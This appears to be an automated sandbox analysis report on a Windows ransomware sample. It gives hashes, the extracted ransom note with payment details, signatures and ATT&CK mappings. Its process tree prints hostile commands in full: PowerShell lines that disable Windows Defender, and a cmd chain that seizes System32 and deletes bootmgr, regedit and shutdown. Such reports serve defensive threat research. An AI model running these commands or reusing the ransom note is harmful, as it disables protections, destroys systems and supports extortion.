Analysis

  • max time kernel
    173s
  • max time network
    195s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-09-2022 05:03

General

  • Target

    UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe

  • Size

    4.4MB

  • MD5

    a83040b851cf14288d3262d2bd4460fc

  • SHA1

    bac8269c66d5b0ca2c5487eb3366c910c99a67e1

  • SHA256

    ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1

  • SHA512

    89848ac37b274bcdf55cbba3b0dd46013de75563a95ed197d42269a2c1c3c2f62c935f24e8db2a912d5cbfd808575dff12d9141eaea3b103cc4bb7707b1cda8e

  • SSDEEP

    98304:6MNbfTJlGuc3B57vYT8A7X27aKc736CtbL8RdwZkid1W5:nN7tvcjUT8A7X219uKdw2B

Malware Config

Extracted

Path

C:\DECRYPT-FILES.TXT

Ransom Note
Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us (CobraLocker@mail2tor.com) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: f64dfn9pbhybaqfrh5dp65jrzcg@protonmail.com
Emails

CobraLocker@mail2tor.com

f64dfn9pbhybaqfrh5dp65jrzcg@protonmail.com

URLs

http://mail2tor2zyjdctd.onion/

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Maze

    Ransomware family also known as ChaCha.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Disables Task Manager via registry modification
  • Executes dropped EXE 1 IoCs
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Possible privilege escalation attempt 5 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 5 IoCs
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe
    "C:\Users\Admin\AppData\Local\Temp\UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3928
    • C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
      "C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Executes dropped EXE
      • Modifies extensions of user files
      • Checks BIOS information in registry
      • Checks computer location settings
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4664
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4324
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f C:\Windows\System32
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:2888
        • C:\Windows\SysWOW64\icacls.exe
          icacls C:\Windows\System32 /grant Admin:F
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:424
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f C:\Windows\System32\drivers
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:4988
        • C:\Windows\SysWOW64\icacls.exe
          icacls C:\Windows\System32\drivers /grant Admin:F
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3868
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f C:\Windows\System32\LogonUI.exe
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:2184

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Virtualization/Sandbox Evasion

1
T1497

File Permissions Modification

1
T1222

Discovery

Query Registry

3
T1012

Virtualization/Sandbox Evasion

1
T1497

System Information Discovery

4
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    6cf293cb4d80be23433eecf74ddb5503

    SHA1

    24fe4752df102c2ef492954d6b046cb5512ad408

    SHA256

    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

    SHA512

    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    cadef9abd087803c630df65264a6c81c

    SHA1

    babbf3636c347c8727c35f3eef2ee643dbcc4bd2

    SHA256

    cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

    SHA512

    7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    cadef9abd087803c630df65264a6c81c

    SHA1

    babbf3636c347c8727c35f3eef2ee643dbcc4bd2

    SHA256

    cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

    SHA512

    7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    e243a38635ff9a06c87c2a61a2200656

    SHA1

    ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc

    SHA256

    af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f

    SHA512

    4418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4

  • C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
    Filesize

    3.1MB

    MD5

    e4f24d91d8e7290ffd6afc8aa01c6d63

    SHA1

    b552c6af33cc5a62379028687924406cba8ff74d

    SHA256

    5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb

    SHA512

    ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00

  • C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
    Filesize

    3.1MB

    MD5

    e4f24d91d8e7290ffd6afc8aa01c6d63

    SHA1

    b552c6af33cc5a62379028687924406cba8ff74d

    SHA256

    5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb

    SHA512

    ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00

  • memory/424-168-0x0000000000000000-mapping.dmp
  • memory/1772-161-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/1772-143-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/1772-135-0x0000000000000000-mapping.dmp
  • memory/2184-171-0x0000000000000000-mapping.dmp
  • memory/2888-167-0x0000000000000000-mapping.dmp
  • memory/3176-163-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/3176-132-0x0000000000530000-0x00000000009A6000-memory.dmp
    Filesize

    4.5MB

  • memory/3176-133-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/3868-170-0x0000000000000000-mapping.dmp
  • memory/3928-149-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/3928-145-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/3928-137-0x0000000000000000-mapping.dmp
  • memory/4216-138-0x00000261FADE0000-0x00000261FAE02000-memory.dmp
    Filesize

    136KB

  • memory/4216-134-0x0000000000000000-mapping.dmp
  • memory/4216-156-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/4216-142-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/4324-166-0x0000000000000000-mapping.dmp
  • memory/4480-136-0x0000000000000000-mapping.dmp
  • memory/4480-155-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/4480-144-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp
    Filesize

    10.8MB

  • memory/4664-146-0x0000000000530000-0x0000000000DA4000-memory.dmp
    Filesize

    8.5MB

  • memory/4664-162-0x0000000005A10000-0x0000000005A1A000-memory.dmp
    Filesize

    40KB

  • memory/4664-160-0x0000000005850000-0x00000000058E2000-memory.dmp
    Filesize

    584KB

  • memory/4664-164-0x0000000000530000-0x0000000000DA4000-memory.dmp
    Filesize

    8.5MB

  • memory/4664-165-0x0000000077520000-0x00000000776C3000-memory.dmp
    Filesize

    1.6MB

  • memory/4664-159-0x0000000005EC0000-0x0000000006464000-memory.dmp
    Filesize

    5.6MB

  • memory/4664-157-0x0000000000530000-0x0000000000DA4000-memory.dmp
    Filesize

    8.5MB

  • memory/4664-151-0x0000000000530000-0x0000000000DA4000-memory.dmp
    Filesize

    8.5MB

  • memory/4664-150-0x0000000077520000-0x00000000776C3000-memory.dmp
    Filesize

    1.6MB

  • memory/4664-139-0x0000000000000000-mapping.dmp
  • memory/4988-169-0x0000000000000000-mapping.dmp